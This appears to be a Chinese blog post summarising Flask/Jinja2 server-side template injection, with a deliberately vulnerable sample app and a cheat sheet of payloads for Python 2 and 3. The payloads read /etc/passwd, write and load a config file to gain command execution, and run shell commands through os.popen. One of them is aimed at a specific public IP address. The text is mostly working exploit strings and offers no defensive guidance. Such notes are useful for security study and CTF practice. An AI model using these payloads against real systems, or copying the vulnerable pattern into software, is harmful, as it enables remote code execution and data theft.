zoukankan      html  css  js  c++  java
  • flask ssti python2和python3 注入总结和区别

    总结一下flask ssti的注入语句

    代码

    import uuid
    from flask import Flask, request, make_response, session,render_template, url_for, redirect, render_template_string
    
    app=Flask(__name__)
    app.config['SECRET_KEY']=str(uuid.uuid4())
    
    @app.route('/')
    def index():
        try:
            username=session['username']
            return render_template('index.html',username=username)
        except Exception as e:
            return """<form action="%s" method='POST'>
            <input type='text' name='username' >
            <input type='password' name='password' >
            <input type='submit'>
            </form>""" % url_for("login")
    
    @app.errorhandler(404)
    def page_not_found(e):
        template='''
            {%% block body %%}
            <div class="center-content error">
            <h1>Oops! That page doesn't exist.</h1>
            <h3>%s</h3>
            </div>
            {%% endblock %%}
        '''%(request.url)
        return render_template_string(template),404
    
    @app.route('/',methods=['POST'])
    def login():
        username=request.form.get("username")
        password=request.form.get("password")
        if username=='admin' and not password==str(uuid.uuid4()):
            return "login failed"
        resp=make_response(redirect(url_for("index")))
        session['username']=username
        return resp
    app.run(port=81,debug=True)
    
    

    一.

    python2,python2相对来说简单,有file

    1.文件读取或者写入

    {{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}  
    {{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}    
    

    2.任意执行
    2.1每次执行都要先写然后编译执行

    {{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg','w').write('code')}}  
    {{ config.from_pyfile('/tmp/owned.cfg') }}  
    

    2.2写入一次即可

    {{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg','w').write('from subprocess import check_output
    
    RUNCMD = check_output
    ')}}  
    {{ config.from_pyfile('/tmp/owned.cfg') }}  
    {{ config['RUNCMD']('/usr/bin/id',shell=True) }}    
    

    2.3 不回显的

    http://127.0.0.1:9998/{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']('1+1')}}      
    http://127.0.0.1/{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').system('whoami')")}}
    

    3.任意执行只需要一条指令

    {{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}}(这条指令可以注入,但是如果直接进入python2打这个poc,会报错,用下面这个就不会,可能是python启动会加载了某些模块)  
    http://39.105.116.195/{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}(system函数换为popen('').read(),需要导入os模块)  
    {{().__class__.__bases__[0].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}(不需要导入os模块,直接从别的模块调用)
    

    总结:通过某种类型(字符串:"",list:[],int:1)开始引出,__class__找到当前类,__mro__或者__base__找到__object__,前边的语句构造都是要找这个。然后利用object找到能利用的类。还有就是{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')}}这种的,能执行,但是不会回显。一般来说,python2的话用file就行,python3则没有这个属性。  
    

    二.

    然后是python3

    因为python3没有file了,所以用的是open

    http://127.0.0.1/{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('d://whale.txt').read()}}和python2的位置不一样,问题不大,挨个测试就能找出位置在在哪。  
    

    同样是一句指令任意执行:

    {{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}}
    

    三. 比较不同的一种,单独拿出来了。

    #python3
    #Flask version:0.12.2
    #Jinja2: 2.10
    from flask import Flask, request
    from jinja2 import Template
    app = Flask(__name__)
    @app.route("/")
    def index():
        name = request.args.get('name', 'guest')
        t = Template("Hello " + name)
        return t.render()
    if __name__ == "__main__":
        app.run();
    
    

    python3的时候

    命令执行:

    {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}
    

    文件操作

    {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}
    

    python2的时候。(同上,不过不是不回显,而是要看网页源代码才能看出来)

  • 相关阅读:
    UNIX高级环境编程(2)FIle I/O - 原子操作、共享文件描述符和I/O控制函数
    UNIX高级环境编程(1)File I/O
    排序算法(2) 堆排序 C++实现
    加深一下BlockingQueue的认识
    测试一下StringBuffer和StringBuilder及字面常量拼接三种字符串的效率
    java中的锁
    Http状态码之:301、302重定向
    学点HTTP知识
    java中的字符串相关知识整理
    在Openfire上弄一个简单的推送系统
  • 原文地址:https://www.cnblogs.com/zaqzzz/p/10251892.html
Copyright © 2011-2022 走看看